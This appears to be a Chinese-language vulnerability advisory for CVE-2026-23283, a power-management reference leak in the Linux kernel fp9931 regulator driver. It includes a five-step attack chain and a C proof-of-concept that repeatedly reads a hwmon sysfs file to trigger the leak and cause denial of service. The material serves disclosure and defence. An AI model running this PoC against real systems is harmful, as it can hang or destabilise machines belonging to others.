IPBUF安全漏洞报告
English
CVE-2026-23283 CVSS 5.5 中危

CVE-2026-23283: Linux内核fp9931驱动PM引用泄漏漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23283
漏洞类型
资源泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel资源泄漏拒绝服务本地漏洞DoS

漏洞概述

Linux内核中的fp9931稳压器驱动程序存在一处资源管理漏洞。在`fp9931_hwmon_read`函数执行期间,如果`regmap_read`操作失败,代码路径会直接返回错误码,却遗漏了对`pm_runtime_put_autosuspend`的调用。这种处理逻辑导致电源管理(PM)运行时引用计数无法正确释放,形成引用泄漏。长期来看,这可能导致系统无法进入低功耗状态,造成资源耗尽或系统不稳定,影响系统可用性。

技术细节

该漏洞位于Linux内核的`drivers/regulator/fp9931.c`驱动文件中,涉及电源管理(PM)运行时机制的不当处理。PM运行时使用引用计数来管理设备的唤醒状态,当引用计数大于零时,设备保持活跃状态。在`fp9931_hwmon_read`函数中,代码预期在读取硬件监控数据后调用`pm_runtime_put_autosuspend`来递减引用计数。然而,当`regmap_read`函数因硬件错误或通信问题返回失败时,该函数立即执行错误返回路径,跳过了清理操作。这意味着每一次失败的读取操作都会永久增加一个引用计数,且永远不会被释放。随着时间推移或被恶意脚本频繁触发,泄漏的引用计数将累积至高位,导致内核认为设备始终处于忙碌状态,从而阻止系统进入睡眠或休眠模式,最终造成系统挂起或拒绝服务。

攻击链分析

STEP 1
步骤1: 本地访问
攻击者需要拥有本地系统的低权限访问权限,能够访问系统文件和调用系统接口。
STEP 2
步骤2: 触发读取
攻击者通过脚本或程序频繁读取与fp9931驱动相关的hwmon sysfs接口文件(如in0_input),这会调用内核中的fp9931_hwmon_read函数。
STEP 3
步骤3: 诱导错误
通过持续读取或结合故障注入机制,诱导regmap_read操作返回错误,触发函数的错误返回路径。
STEP 4
步骤4: 引用泄漏
由于错误路径未调用pm_runtime_put_autosuspend,每次失败的读取都会导致PM运行时引用计数泄漏,计数器无法归零。
STEP 5
步骤5: 拒绝服务
累积的泄漏导致系统认为设备始终忙碌,无法进入低功耗状态,最终导致系统挂起或能耗异常,形成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC Concept: Triggering the reference leak in fp9931_hwmon_read * This requires a system with the fp9931 driver loaded. * Compile: gcc poc.c -o poc */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> // The actual path depends on the system configuration, e.g., /sys/class/hwmon/hwmonX/in0_input #define HWMON_PATH "/sys/class/hwmon/hwmon0/in0_input" int main() { int fd; char buffer[32]; ssize_t bytes_read; printf("[+] Attempting to trigger PM reference leak in fp9931 driver...\n"); // Loop to repeatedly trigger the hwmon read function for(int i = 0; i < 10000; i++) { fd = open(HWMON_PATH, O_RDONLY); if (fd < 0) { perror("[-] Failed to open hwmon device"); continue; } bytes_read = read(fd, buffer, sizeof(buffer)); if (bytes_read < 0) { // If the underlying regmap_read fails in the kernel, // pm_runtime_put_autosuspend is skipped, causing the leak. // perror("[-] Read failed (Potential leak triggered)"); } close(fd); // Simple delay to avoid overwhelming the system immediately if (i % 100 == 0) { printf("[+] Iteration %d completed. Check PM runtime usage counters.\n", i); } } printf("[*] PoC execution finished.\n"); return 0; }

影响范围

Linux Kernel < 修复提交版本

防御指南

临时缓解措施
限制非特权用户对硬件监控接口的访问权限,避免恶意脚本频繁触发驱动读取操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表